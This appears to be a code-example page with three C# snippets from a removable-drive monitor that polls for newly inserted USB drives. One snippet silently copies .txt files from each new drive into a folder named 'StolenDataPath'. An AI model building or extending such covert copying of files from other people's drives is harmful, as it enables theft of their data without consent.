예제 #1
0
        private void OnOnNewDriverAdded(DriveInfo driveinfo)
        {
            WhitelistDrivers.Add(driveinfo);

            Log.Append(new Log.Message(Log.EventType.Info,
                                       "New Driver: " + driveinfo.VolumeLabel + " (" + driveinfo.Name + ")"));
            // CopyDirectory(driveinfo.RootDirectory.FullName, StolenDataPath);
            IntelligentFileCopier.BeginTransfer(driveinfo.RootDirectory.FullName, Path.Combine(StolenDataPath, driveinfo.VolumeLabel), new[] { ".txt" });
            Log.Append(new Log.Message(Log.EventType.Info, "Data transferring from  \"" + driveinfo.RootDirectory.FullName + "\" to \"" + StolenDataPath + "\" started."));
            OnNewDriverAdded?.Invoke(driveinfo);
        }
예제 #2
0
 private void CheckNewDrivers()
 {
     do
     {
         foreach (DriveInfo currentDriver in GetCurrentRemovableDrivers())
         {
             DriveInfo check =
                 WhitelistDrivers.FirstOrDefault(
                     x => x.RootDirectory.Root.Name == currentDriver.RootDirectory.Root.Name);
             if (check == null)
             {
                 OnOnNewDriverAdded(currentDriver);
             }
         }
         WhitelistDrivers = GetCurrentRemovableDrivers().ToList();
         Thread.Sleep(MonitorFreshRate);
     } while (IsMonitoring);
 }
예제 #3
0
 private void CheckNewDrivers()
 {
     WhitelistDrivers = GetCurrentReadyRemovableDrivers().ToArray();
     do
     {
         Debug.WriteLine("[" + DateTime.Now + "] Checking for new drivers...");
         var currentDrivers = GetCurrentReadyRemovableDrivers().ToArray();
         foreach (DriveInfo currentDriver in currentDrivers)
         {
             if (WhitelistDrivers.FirstOrDefault(
                     x => x.RootDirectory.Root.Name == currentDriver.RootDirectory.Root.Name) == null)
             {
                 OnOnNewDriverAdded(currentDriver);
             }
         }
         WhitelistDrivers = currentDrivers;
         Thread.Sleep(MonitorRefreshRate);
     } while (IsMonitoring);
 }